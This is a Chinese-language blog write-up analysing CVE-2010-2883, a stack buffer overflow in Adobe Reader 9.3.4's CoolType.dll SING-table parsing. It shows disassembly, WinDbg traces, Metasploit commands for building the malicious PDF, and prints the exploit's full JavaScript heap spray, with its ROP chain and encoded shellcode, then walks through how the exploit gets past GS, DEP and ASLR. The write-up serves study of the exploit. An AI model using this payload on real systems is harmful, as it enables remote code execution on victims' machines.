CVE-2010-2883-CoolType.dll緩衝區溢位漏洞分析

Taolaw發表於2020-10-17

前言

此漏洞是根據泉哥的《漏洞戰爭》來學習分析的,網上已有大量分析文章在此只是做一個獨立的分析記錄。

復現環境

  • 作業系統 -> Windows XP Sp3
  • 軟體版本 -> Adobe Reader 9.3.4

靜態分析

如果根據泉哥的文章直接走倒是也沒有啥問題,不過在學習的過程中倒是很想試一下如果沒有更多提示的條件下是否可以走一遍整個流程。於是搜尋這個漏洞的資訊找到了一篇NVD的文章,這裡很明確的告訴了漏洞所在的庫和SING表的一些資訊以及漏洞型別是一個棧溢位,在這些資訊的基礎上我們可以嘗試靜態分析一下CoolType.dll來大概搜尋一下漏洞可能出現的位置。其實注意看上下文的話,在 IDA中能很快看到緊鄰SING字串的下方有一個strcat函式的呼叫,這裡就極有可能是漏洞位置了。

.text:0803DCF9 var_160         = byte ptr -160h
.text:0803DCF9 var_140         = dword ptr -140h
.text:0803DCF9 var_138         = dword ptr -138h
.text:0803DCF9 var_134         = dword ptr -134h
.text:0803DCF9 var_130         = dword ptr -130h
.text:0803DCF9 var_12C         = dword ptr -12Ch
.text:0803DCF9 var_128         = dword ptr -128h
.text:0803DCF9 var_124         = dword ptr -124h
.text:0803DCF9 var_120         = dword ptr -120h
.text:0803DCF9 var_119         = byte ptr -119h
.text:0803DCF9 var_114         = dword ptr -114h
.text:0803DCF9 var_10C         = dword ptr -10Ch
.text:0803DCF9 var_108         = byte ptr -108h
.text:0803DCF9 var_4           = dword ptr -4
.text:0803DCF9 arg_0           = dword ptr  8
.text:0803DCF9 arg_4           = dword ptr  0Ch
.text:0803DCF9 arg_8           = dword ptr  10h
.text:0803DCF9 arg_C           = dword ptr  14h
.text:0803DCF9
.text:0803DCF9                 push    ebp
.text:0803DCFA                 sub     esp, 104h
.text:0803DD00                 lea     ebp, [esp-4]
.text:0803DD04                 mov     eax, ___security_cookie
.text:0803DD09                 xor     eax, ebp
.text:0803DD0B                 mov     [ebp+108h+var_4], eax
.text:0803DD11                 push    4Ch
.text:0803DD13                 mov     eax, offset sub_8184A54
.text:0803DD18                 call    __EH_prolog3_catch
.text:0803DD1D                 mov     eax, [ebp+108h+arg_C]
.text:0803DD23                 mov     edi, [ebp+108h+arg_0]
.text:0803DD29                 mov     ebx, [ebp+108h+arg_4]
.text:0803DD2F                 mov     [ebp+108h+var_130], edi
.text:0803DD32                 mov     [ebp+108h+var_138], eax
.text:0803DD35                 call    sub_804172C
.text:0803DD3A                 xor     esi, esi
.text:0803DD3C                 cmp     dword ptr [edi+8], 3
.text:0803DD40                 mov     [ebp+108h+var_10C], esi
.text:0803DD43                 jz      loc_803DF00
.text:0803DD49                 mov     [ebp+108h+var_124], esi
.text:0803DD4C                 mov     [ebp+108h+var_120], esi
.text:0803DD4F                 cmp     dword ptr [edi+0Ch], 1
.text:0803DD53                 mov     byte ptr [ebp+108h+var_10C], 1
.text:0803DD57                 jnz     loc_803DEA9
.text:0803DD5D                 push    offset aName    ; "name"
.text:0803DD62                 push    edi             ; int
.text:0803DD63                 lea     ecx, [ebp+108h+var_124]
.text:0803DD66                 mov     [ebp+108h+var_119], 0
.text:0803DD6A                 call    sub_80217D7
.text:0803DD6F                 cmp     [ebp+108h+var_124], esi
.text:0803DD72                 jnz     short loc_803DDDD
.text:0803DD74                 push    offset aSing    ; "SING"
.text:0803DD79                 push    edi             ; int
.text:0803DD7A                 lea     ecx, [ebp+108h+var_12C]
.text:0803DD7D                 call    sub_8021B06
.text:0803DD82                 mov     eax, [ebp+108h+var_12C]
.text:0803DD85                 cmp     eax, esi
.text:0803DD87                 mov     byte ptr [ebp+108h+var_10C], 2
.text:0803DD8B                 jz      short loc_803DDC4
.text:0803DD8D                 mov     ecx, [eax]
.text:0803DD8F                 and     ecx, 0FFFFh
.text:0803DD95                 jz      short loc_803DD9F
.text:0803DD97                 cmp     ecx, 100h
.text:0803DD9D                 jnz     short loc_803DDC0
.text:0803DD9F
.text:0803DD9F loc_803DD9F:                            ; CODE XREF: sub_803DCF9+9Cj
.text:0803DD9F                 add     eax, 10h
.text:0803DDA2                 push    eax             ; char *
.text:0803DDA3                 lea     eax, [ebp+108h+var_108]
.text:0803DDA6                 push    eax             ; char *
.text:0803DDA7                 mov     [ebp+108h+var_108], 0
.text:0803DDAB                 call    strcat

這裡可以看到strcat函式呼叫之前確實沒有進行長度驗證,如果只是單純的看這段彙編程式碼可能很難和整個漏洞聯絡起來,於是我們要動態除錯來看一看。

動態除錯

首先,我們利用msf生成一個樣本,為了後面的除錯方便,最好先改一下exp的原始碼,linux下msf的exp/opt/metasploit-framework/embedded/framework/modules/exploits/windows/fileformat目錄下,隨後我們找到adobe_cooltype_sing.rb檔案,註釋掉其中的第102行,恢復101行,這裡為了不被檢測到用了隨機資料的方式來填充的,但是這不利於除錯。然後設定payload,命令列如下

msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set filename calc.pdf
filename => calc.pdf
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/exec 
payload => windows/exec
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set cmd calc.exe
cmd => calc.exe
msf6 exploit(windows/fileformat/adobe_cooltype_sing) > run

然後我們用windbg開啟Adober Reader,用sxe ld CoolType在程式載入CoolType.dll的時候下斷,隨後執行,加上IDA中的靜態分析我們可以知道strcat函式的偏移,於是我們在strcat處下斷bp 0803DDAB ,開啟poc,繼續執行,這裡我們看到呼叫strcat函式之前的函式引數如下

0:000> dd esp
0013e468  0013e4d8 03395fb4 07e5c04f 00000004
0013e478  0013e6d0 00000000 0341f250 0341f0d0
0013e488  03685db0 03685dac 0013e4c0 78147548
0013e498  0341f0d0 03685db0 000001fc 00000004
0013e4a8  0013e700 0013e6d0 0013e718 03395fa4
0013e4b8  00001ddf 00000000 00000000 00e5b9cc
0013e4c8  0013e470 0013e70c 08184a54 00000002
0013e4d8  0013e400 0013e6b0 00000000 07e5c1d7
0:000> dd 0013e4d8 
0013e4d8  0013e400 0013e6b0 00000000 07e5c1d7
0013e4e8  0013e858 0823ae9c 080852ef 0823a650
0013e4f8  03685dac 08080d0b 0341f0c4 0013e4d4
0013e508  0013e550 010ff8af ffffffff 00e5b9dc
0013e518  00f4a90a 0013e584 0013e594 0013e580
0013e528  0013e57c 00f4a949 07e5d872 00000004
0013e538  0013e6b0 00000000 0013e540 00f4a90a
0013e548  0013e5b0 0013e5c0 0013e5d4 010fc97e
0:000> dd 03395fb4 
03395fb4  41414141 41414141 4a82a714 0c0c0c0c
03395fc4  41414141 41414141 41414141 41414141
03395fd4  41414141 41414141 41414141 41414141
03395fe4  41414141 41414141 41414141 41414141
03395ff4  41414141 41414141 41414141 41414141
03396004  41414141 41414141 41414141 41414141
03396014  41414141 41414141 41414141 41414141
03396024  41414141 41414141 41414141 41414141

除錯到這一步基本驗證了之前的想法,漏洞確實在此處strcat的位置。此時我們用pdfStreamDumper這個工具來分析一下樣本pdf,將對應的object儲存到本地如下

由於Adobe font官網2018的改版原來介紹SING表資料結構的文件暫時未找到,根據泉哥書中的介紹SING字串偏移0x11c以後就是SING表的真實資料,也就是A字串填充開始的地方,strcat的複製拼接也是從這裡開始的。這裡複製的長度為0x23C,從書中提供的SING表的資料結構來看這裡接受的最大長度是28Byte,複製的長度遠遠超過了緩衝區的長度。在確定了漏洞的位置以後,我們就來學一學此漏洞的利用,儘量從exp的作者來考慮這個問題。

漏洞利用

首先我們需要羅列一下這個版本的Adobe Reader都開啟了哪些安全機制

  • GS,又稱canary,通過在函式返回前壓入棧的隨機值是否被覆蓋來決定是否丟擲異常,或者繼續執行程式碼
  • DEP,堆疊不可執行保護,標記了堆疊讀寫屬性,完全關閉了執行的許可權
  • ASLR,地址隨機化,程式每次載入的記憶體位置不固定,在此版本的Reader中應該未覆蓋到此模組

首先我們來看一下GS的通用繞過策略,通常包括以下幾種方法

  • 利用未開啟GS安全機制的記憶體
  • 覆蓋異常處理機制(SEH)的指標,程式觸發異常後劫持程式執行流,如果程式啟用safeSEH則需要另外考慮
  • 利用C++函式的虛表指標,覆蓋虛擬函式的指標,在溢位後,函式返回之前就劫持程式流程
  • 資訊洩露,利用條件比較受限

我們分析一下手頭的樣本,看作者利用了哪些方法來繞過GS的,觀察一下複製了內容以後的棧空間和之前的對比,如下所示

複製之前1

複製之後1

複製之前2

複製之後2

複製之前3

複製之後3

從這幾處的對比可以看出,作者溢位緩衝區只是覆蓋了幾個關鍵的位置,那麼這幾個關鍵的位置究竟是做什麼用的呢?通過單步跟蹤的方式,我們最終跟蹤到了一處呼叫,如下所示

0:000> p
eax=0013e6d0 ebx=00000000 ecx=0013dd44 edx=00000000 esi=0224b760 edi=0013e718
eip=0808b308 esp=0013dd28 ebp=0013dd48 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
CoolType!CTInit+0x44c65:
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Adobe\Reader 9.0\Reader\icucnv36.dll - 
0808b308 ff10            call    dword ptr [eax]      ds:0023:0013e6d0=4a80cb38
0:000> dd eax
0013e6d0  4a80cb38 41414141 41414141 41414141
0013e6e0  41414141 41414141 41414141 41414141
0013e6f0  41414141 41414141 41414141 41414141
0013e700  41414141 41414141 41414141 41414141
0013e710  41414141 0000006c 00000000 0000006d
0013e720  00000001 00000001 00000000 04835f84
0013e730  0483cae0 000026ec 0483c750 00000000
0013e740  0483c758 00000200 0483c758 080833ef
0:000> u 4a80cb38 
icucnv36!ucnv_toUChars_3_6+0x162:
4a80cb38 81c594070000    add     ebp,794h
4a80cb3e c9              leave
4a80cb3f c3              ret

可以看到此處的函式呼叫的地址剛好是覆蓋後的特殊欄位,對其進行反彙編可以發現其作用是將棧拉低0x794的地址長度然後返回,很明顯這裡已經是作者佈置好的ROP鏈,這用來繞過上面所說的DEP機制,跟蹤的過程中發現此處還未執行到strcat函式所在函式塊的正常返回的位置,那麼可以初步確定繞過GS的方法用的就是覆蓋C++虛擬函式的方式,那麼上面被4a80cb38所覆蓋的就是原本的C++的虛擬函式指標,這裡選擇4a80cb38作為ROP的地址的一部分是因為其所在的icucnv36.dll基本在之前的大部分版本中都保持不變,所以極大提高了exp的通用性。我們跟進去,看看這裡返回以後是哪裡

0:000> t
eax=0013e6d0 ebx=00000000 ecx=0013dd44 edx=00000000 esi=0224b760 edi=0013e718
eip=4a80cb38 esp=0013dd24 ebp=0013dd48 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
icucnv36!ucnv_toUChars_3_6+0x162:
4a80cb38 81c594070000    add     ebp,794h
0:000> p
eax=0013e6d0 ebx=00000000 ecx=0013dd44 edx=00000000 esi=0224b760 edi=0013e718
eip=4a80cb3e esp=0013dd24 ebp=0013e4dc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
icucnv36!ucnv_toUChars_3_6+0x168:
4a80cb3e c9              leave
0:000> p
eax=0013e6d0 ebx=00000000 ecx=0013dd44 edx=00000000 esi=0224b760 edi=0013e718
eip=4a80cb3f esp=0013e4e0 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
icucnv36!ucnv_toUChars_3_6+0x169:
4a80cb3f c3              ret
0:000> dd esp
0013e4e0  4a82a714 0c0c0c0c 41414141 41414141
0013e4f0  41414141 41414141 41414141 41414141
0013e500  41414141 41414141 41414141 41414141
0013e510  41414141 41414141 41414141 41414141
0013e520  41414141 41414141 41414141 41414141
0013e530  41414141 41414141 41414141 41414141
0013e540  41414141 41414141 41414141 41414141
0013e550  41414141 41414141 41414141 41414141
0:000> u 4a82a714 
icucnv36!icu_3_6::CharacterIterator::setToStart+0x8:
4a82a714 5c              pop     esp
4a82a715 c3              ret

看到上面的指令,尤其是0c0c0c0c這塊地址,基本上已經確定了,這裡使用的是Heap Spray。這裡通過把原來的棧記憶體釋放到溢位以後的可控區域,然後在其中佈置ROP鏈地址,最後劫持暫存器到堆中指定地址,執行另外的ROP鏈。既然是用Heap Spray在堆中佈局,那麼pdf中一定內嵌了js,我們看一下

var var_unescape = unescape;
var shellcode = var_unescape('%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%udbb8%u1039%uda5b%ud9da%u2474%u5af4%uc931%u31b1%uea83%u31fc%u0f42%u4203%udbd4%ua7e5%u9902%u5806%ufed2%ubd8f%u3ee3%ub6eb%u8f53%u9a7f%u645f%u0f2d%u08d4%u20fa%ua65d%u0fdc%u9b5e%u111d%ue6dc%uf171%u28dd%uf084%u541a%ua065%u12f3%u55d8%u6e70%udee1%u7eca%u0261%u819a%u9540%udb91%u1742%u5076%u0fcb%u5d9b%ua485%u296f%u6d14%ud2be%u50bb%u210f%u95c5%udab7%uefb0%u67c4%u2bc3%ub3b7%ua846%u371f%u14f0%u949e%ude67%u51ac%ub8e3%u64b0%ub320%uedcc%u14c7%ub545%ub0e3%u6d0e%ue18d%uc0ea%uf2b2%ubc55%u7816%ua97b%u232a%u2c11%u59b8%u2e57%u61c2%u47c7%ueaf3%u1088%u390c%uefed%u6046%u7847%uf00f%ue5da%u2eb0%u1018%udb33%ue7e0%uae2b%uace5%u42eb%ubd97%u6499%ubd04%u068b%u2dcb%ue757%ud66e%uf7f2');
var var_c = var_unescape("%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c");

while (var_c.length + 20 + 8 < 65536) {
    var_c += var_c;
}

sp = var_c.substring(0, (0x0c0c - 0x24) / 2);
sp += shellcode;
sp += var_c;
slackspace = sp.substring(0, 65536 / 2);
while (slackspace.length < 0x80000) {
    slackspace += slackspace;
}
bigblock = slackspace.substring(0, 0x80000 - (0x1020 - 0x08) / 2);
var memory = new Array();
for (count = 0; count < 0x1f0; count++) {
    memory[count] = bigblock + "s"
}

通過觀察這段js的程式碼,我們發現其基本上就是將0c0c0c0c + shellcode + 0c0c0c0c這樣的"肉夾饃"(一份大概32k)整了200+M。這樣覆蓋到0x0c0c0c0c這個地址基本不是什麼問題。用這樣的方式佈置shellcode也基本不用考慮ASLR的影響了。隨後我們分析一下shellcode所做的操作,shellcode也是用了ROP來做實現的

可以看出執行ROP使用了多條鏈,這裡要指出的一點是此版本的Reader開啟了ASLR,但是卻沒有覆蓋到這裡所用的icucnv36.dll這個模組,所以以上的ROP鏈是可以穩定執行的。到此漏洞利用的行為基本分析清楚,我們來回顧一下,作者是如何逐個突破這些安全機制的限制,一步一步達到RCE

  • GS-->這裡作者使用了覆蓋C++的虛擬函式指標的方式來繞過的,使得在函式返回做檢查之前就成功劫持程式執行流
  • DEP-->這裡使用的是經典的對抗方式ROP
  • ASLR-->作者找到了未開啟ASLR的模組來依託其穩定的執行ROP鏈
    這其中尤其是繞過GS所使用的覆蓋C++虛表函式指標的操作,使得整個利用的過程獲得了完美的轉機,本環境中系統是預設開啟了safeSEH防護的,在這樣的條件下使用覆蓋C++虛表函式的方式,直接可以同時間繞過GSsafeSEH,兩全其美。

shellcode分析

shellcode部分首先就是執行了一個CreateFileW函式來建立一個檔案,下面是這個函式的定義

HANDLE CreateFile(

  LPCTSTR lpFileName, //指向檔名的指標

  DWORD dwDesiredAccess, //訪問模式(寫/讀)

  DWORD dwShareMode, //共享模式

  LPSECURITY_ATTRIBUTES lpSecurityAttributes, //指向安全屬性的指標

  DWORD dwCreationDisposition, //如何建立

  DWORD dwFlagsAndAttributes, //檔案屬性

  HANDLE hTemplateFile //用於複製檔案控制程式碼

  );

我們來看一下此時的引數

0:000> p
eax=7ffdebf8 ebx=00000000 ecx=7ffdec00 edx=4a8522c8 esi=0224b760 edi=0013e718
eip=7c801a4e esp=0c0c0c04 ebp=0c0c0c20 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
kernel32!CreateFileA+0x26:
7c801a4e e886f20000      call    kernel32!CreateFileW (7c810cd9)
0:000> dd esp
0c0c0c04  7ffdec00 10000000 00000000 00000000
0c0c0c14  00000002 00000102 00000000 41414141
0c0c0c24  4a801064 4a8522c8 10000000 00000000
0c0c0c34  00000000 00000002 00000102 00000000
0c0c0c44  4a8063a5 4a801064 4a842db2 4a802ab1
0c0c0c54  00000008 4a80a8a6 4a801f90 4a849038
0c0c0c64  4a80b692 4a801064 ffffffff 00000000
0c0c0c74  00000040 00000000 00010000 00000000
0:000> dc 7ffdec00 
7ffdec00  00730069 0038006f 00350038 00310039  i.s.o.8.8.5.9.1.
7ffdec10  00640000 00650052 00650063 00760069  ..d.R.e.c.e.i.v.
7ffdec20  00430065 006e006f 00630065 00690074  e.C.o.n.e.c.t.i.
7ffdec30  006e006f 0045002e 00650076 0074006e  o.n...E.v.e.n.t.
7ffdec40  0045002e 00470048 0049002e 00000043  ..E.H.G...I.C...
7ffdec50  0069005c 00750063 00740064 00360033  \.i.c.u.d.t.3.6.
7ffdec60  0063005f 006b006a 0064002e 006c006c  _.c.j.k...d.l.l.
7ffdec70  006c0000 006e0000 0061002e 006c0070  ..l...n...a.p.l.

根據函式的定義我們知道0x7ffdec00這個地址處就是建立的檔案檔名,我們看到其名字是iso88591,這裡還要指出的一點是建立的檔案是和開啟的pdf在一個資料夾下面,但是,他是隱藏檔案(參考棧中的引數),不過在建立檔案以後,通過Everything還是很容易搜尋得到的

建立檔案以後又呼叫了CreatFileMapping函式為剛剛建立的檔案生成一個檔案共享記憶體映像,其函式原型和引數如下所示

HANDLE CreateFileMapping(
  HANDLE hFile,                       //物理檔案控制程式碼
  LPSECURITY_ATTRIBUTES lpAttributes, //安全設定
  DWORD flProtect,                    //保護設定
  DWORD dwMaximumSizeHigh,            //高位檔案大小
  DWORD dwMaximumSizeLow,             //低位檔案大小
  LPCTSTR lpName                      //共享記憶體名稱
);
0:000> p
eax=4a849038 ebx=00000008 ecx=4a801064 edx=00160608 esi=00000000 edi=0000048c
eip=7c80955a esp=0c0c0c40 ebp=0c0c0c64 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
kernel32!CreateFileMappingA+0x50:
7c80955a e8ddfeffff      call    kernel32!CreateFileMappingW (7c80943c)
0:000> dd esp
0c0c0c40  0000048c 00000000 00000040 00000000
0c0c0c50  00010000 00000000 0224b760 4a801064
0c0c0c60  4a801064 41414141 4a801064 0000048c
0c0c0c70  00000000 00000040 00000000 00010000
0c0c0c80  00000000 4a8063a5 4a801064 4a842db2
0c0c0c90  4a802ab1 00000008 4a80a8a6 4a801f90
0c0c0ca0  4a849030 4a80b692 4a801064 ffffffff
0c0c0cb0  00000022 00000000 00000000 00010000

在這之後緊接著,用相同的手段呼叫了CreateFileMappingEx函式,將之前建立的檔案記憶體對映物件對映到當前程式的地址空間,其函式原型和引數如下

LPVOID WINAPI MapViewOfFileEx(
  __in HANDLE hFileMappingObject,
  __in DWORD dwDesiredAccess,
  __in DWORD dwFileOffsetHigh,
  __in DWORD dwFileOffsetLow,
  __in SIZE_T dwNumberOfBytesToMap,
  __in LPVOID lpBaseAddress
  );
0:000> p
eax=4a849030 ebx=00000008 ecx=4a801064 edx=7c90e514 esi=0224b760 edi=00000488
eip=7c80b9bb esp=0c0c0c8c ebp=0c0c0ca4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
kernel32!MapViewOfFile+0x16:
7c80b9bb e876ffffff      call    kernel32!MapViewOfFileEx (7c80b936)
0:000> dd esp
0c0c0c8c  00000488 00000022 00000000 00000000
0c0c0c9c  00010000 00000000 41414141 4a801064
0c0c0cac  00000488 00000022 00000000 00000000
0c0c0cbc  00010000 4a8063a5 4a8a0004 4a802196
0c0c0ccc  4a8063a5 4a801064 4a842db2 4a802ab1
0c0c0cdc  00000030 4a80a8a6 4a801f90 4a8a0004
0c0c0cec  4a80a7d8 4a8063a5 4a801064 4a842db2
0c0c0cfc  4a802ab1 00000020 4a80a8a6 4a8063a5

再往下走,我們碰到了一個很熟悉的函式memcpy,此處將真正的shellcode複製到對映過來的記憶體區域,然後執行

0:000> p
eax=0c0c1d54 ebx=0000000a ecx=00000400 edx=00000000 esi=0c0c0d54 edi=03f30000
eip=7814507a esp=0c0c0d38 ebp=0c0c0d40 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212
MSVCR80!memcpy+0x5a:
7814507a f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:000> dd esi
0c0c0d54  1039dbb8 d9dada5b 5af42474 31b1c931
0c0c0d64  31fcea83 42030f42 a7e5dbd4 58069902
0c0c0d74  bd8ffed2 b6eb3ee3 9a7f8f53 0f2d645f
0c0c0d84  20fa08d4 0fdca65d 111d9b5e f171e6dc
0c0c0d94  f08428dd a065541a 55d812f3 dee16e70
0c0c0da4  02617eca 9540819a 1742db91 0fcb5076
0c0c0db4  a4855d9b 6d14296f 50bbd2be 95c5210f
0c0c0dc4  efb0dab7 2bc367c4 a846b3b7 14f0371f
0:000> u esi
0c0c0d54 b8db39105b      mov     eax,5B1039DBh
0c0c0d59 dada            fcmovu  st,st(2)
0c0c0d5b d97424f4        fnstenv [esp-0Ch]
0c0c0d5f 5a              pop     edx
0c0c0d60 31c9            xor     ecx,ecx
0c0c0d62 b131            mov     cl,31h
0c0c0d64 83eafc          sub     edx,0FFFFFFFCh
0c0c0d67 31420f          xor     dword ptr [edx+0Fh],eax

這時我們發現已經建立好的檔案中被寫入了shellcode,開啟如下所示

可以發現這正是我們複製過來的資料,隨後我們對其進行反彙編,看看其程式碼,如下所示

void fcn.00000000(int64_t arg1, int64_t arg2, int64_t arg_10h)
{
    uint32_t uVar1;
    int64_t iVar2;
    uint64_t uVar3;
    int64_t unaff_RSI;
    int64_t unaff_RDI;
    uint32_t in_FPUInstructionPointer;
    
    uVar1 = 0x81876589;
    uVar3 = (uint64_t)in_FPUInstructionPointer;
    iVar2 = 0x59;
    do {
        uVar3 = (uint64_t)((int32_t)uVar3 + 4);
        *(uint32_t *)(uVar3 + 0x10) = *(uint32_t *)(uVar3 + 0x10) ^ uVar1;
        uVar1 = uVar1 + *(int32_t *)(uVar3 + 0x10);
        iVar2 = iVar2 + -1;
    } while (iVar2 != 0);
    fcn.000000b0(unaff_RSI, unaff_RDI);
    // WARNING: Bad instruction - Truncating control flow here
    halt_baddata();
}

總結

作者在選擇執行shellcode的時候選擇用建立新的可執行記憶體區域的方式使得任意程式碼執行更穩定,這種穩妥的利用不失為一種好的思路。

相關文章